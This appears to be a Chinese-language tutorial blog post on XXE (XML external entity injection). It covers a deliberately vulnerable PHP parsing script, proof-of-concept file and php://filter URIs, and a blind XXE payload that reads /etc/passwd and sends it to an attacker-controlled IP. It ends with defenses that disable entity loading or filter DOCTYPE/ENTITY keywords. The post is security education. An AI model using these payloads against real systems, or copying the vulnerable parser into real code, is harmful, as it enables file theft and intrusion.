首页 > 其他分享 >web基础漏洞-xxe

web基础漏洞-xxe

时间:2023-05-29 18:22:27浏览次数:50  
标签:xml web 读取 文件 漏洞 xxe php

XXE漏洞利用 – 任意文件读取_哔哩哔哩_bilibili

DTD快速入门_哔哩哔哩_bilibili

XXE学习笔记 – FreeBuf网络安全行业门户

1、介绍

xxe漏洞全称XML External Entity Injection即外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可以上传恶意xml文件。而php、java等网站代码读取xml文件时,会根据xml中外部引入实体路径设置发起请求。

由xml导致的漏洞,一般是造成任意文件读取,可以分为有回显和无回显

2、测试代码

<?php
$xml=file_get_contents("php://input");
$data=simplexml_load_string($xml);
echo "<pre>";
print_r($data);//注释掉该语句即为无回显的情况
?>

3、poc

file:///path/to/file.ext 
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
  • file协议不能直接读取php文件,会报错

4、无回显

实际上是将本地数据读取后作为参数拼接到请求中,发送给攻击者设置的dtd服务器。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!Entity % p2 "<!ENTITY e1 SYSTEM 'http://192.168.1.103/test.php?con=%p1;'>">
%p2;

5、xxe漏洞消亡原因

libxml2.9.0以后,默认不解析外部实体,导致xxe漏洞主机消亡。

6、xxe防御

(1)使用开发语言提供的禁用外部实体方法

//php
libxml_disable_entity_loader(true);
//java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpanEntityReferences(false);
//python
from lxml import etree
xmlData = etree.parse(xmlSource.etree.XMLParser(resolve_entities=False))

(2)过滤用户提交的xml数据

关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

 

标签:xml,web,读取,文件,漏洞,xxe,php
From: https://www.cnblogs.com/wd404/p/17322479.html

相关文章

  • web基础漏洞-文件包含漏洞
    1、定义文件包含是一种常用编程技巧,即一个文件中可以包含引入其他文件,以方便代码的复用。文件包含漏洞,是因为用户可以控制包含的文件路径,从而造成危害。包含远程php文件,然后执行代码包含远程一般文件,进行网站篡改包含本地文件,暴露信息,比如系统账号密码2、相关语言和函数......
  • web基础漏洞-文件上传漏洞
    文件上传总结–FreeBuf网络安全行业门户1、定义文件上传漏洞,是因为在网站的文件上传业务中,未严格限制上传的类型,从而导致可访问、可执行的文件被上传到服务端,访问执行后造成危害。(1)静态文件,将html、js、css等静态文件上传,可以造成xss、csrf、重定向等危害(2)脚本文件,也是最主......
  • web基础漏洞-目录遍历漏洞
    1、介绍目录遍历漏洞,是指可以遍历查看非公开访问的,位于网站目录下或系统中的全部或部分文件。属于信息泄漏的类型之一目录遍历有两种形式:基于业务代码查询,而未限制参数,导致可以查询非公开文件由于服务器容器等中间件,未严格过滤敏感字符,导致超出边界查询2、查询目标当前网......
  • JavaWeb 解决乱码问题
    自写过滤器解决文件结构代码配置EncondingFilerpackagefilter;importjavax.servlet.*;importjava.io.IOException;publicclassEncondingFilterimplementsFilter{@Overridepublicvoidinit(FilterConfigfilterConfig)throwsServletException{......
  • web基础漏洞-地址类漏洞
    1、介绍地址类漏洞指的是,可以由攻击者控制的地址类参数导致页面重定向到攻击者控制网站,进行钓鱼或者将敏感数据发送给攻击者加载攻击者指定的资源,比如脚本、iframe,替换下载资源,替换图片进行钓鱼,尤其是联系方式或支付信息重定向漏洞属于地址类漏洞的一种场景。2、输入(1)......
  • web基础漏洞-响应拆分漏洞
    1、介绍典型的响应拆分漏洞,是指的http响应字段拆分漏洞。即服务端动态将参数写入返回给用户的响应的头部字段中,该参数可以被攻击者控制,使包含\r\n这两个用于分隔不同响应头部行的字段或者\r\n\rn用于分隔响应头部与响应体部字段,同时写入响应过程未被阻止,那么用户接收到响应时,浏......
  • scrapy+scrapyd+scrapydweb的使用(采取一个案例演示)
    前期准备--创建一个scrapy爬虫(以上海热线-热点新闻为例:https://hot.online.sh.cn/node/node_65634.htm)1.安装scrapy,scrapyd,scrapydwebpipinstallscrapypipinstallscrapydpipinstallscrapyd-clientpipinstallscrapydweb2.创建工程scrapystartprojectnewsspider3.创建n......
  • web基础漏洞-重定向漏洞
    1、介绍如果请求的url中存在某绝对路径的url参数,作为响应的location字段的值。那么攻击者,可以控制该参数,使其为攻击者控制的站点中的页面。由此,使得受害者用户跳转访问,攻击者可以进行钓鱼活动。如果跳转前url包含敏感信息,那么其将会在referer字段中被传递给攻击者。2、测试3......
  • web基础漏洞-验证码爆破
    1、介绍这里的验证码是指在注册、登录、找回密码、重要操作验证身份时,服务端向用户的手机或者邮箱发送验证码,用户输入匹配成功以验证身份。验证码爆破漏洞,是服务端未进行次数和时间限制,或者允许的范围过大。导致攻击者可以反复尝试不同的验证码,以获取到正确的验证码。2、测试......
  • ChatGPT获取access_token无需API-KEY反向代理抓取WEB端数据
    嘿,我来告诉你关于获取access_token数据的原理!首先,我要说我超级骄傲,因为我是一个聪明又努力的技术博主,可以帮助你理解这个过程。获取access_token数据其实是一个授权的过程。你可以把它想象成我是一个超级保安,而access_token就是我为你发放的通行证。当你需要访问特定的资源或执行特......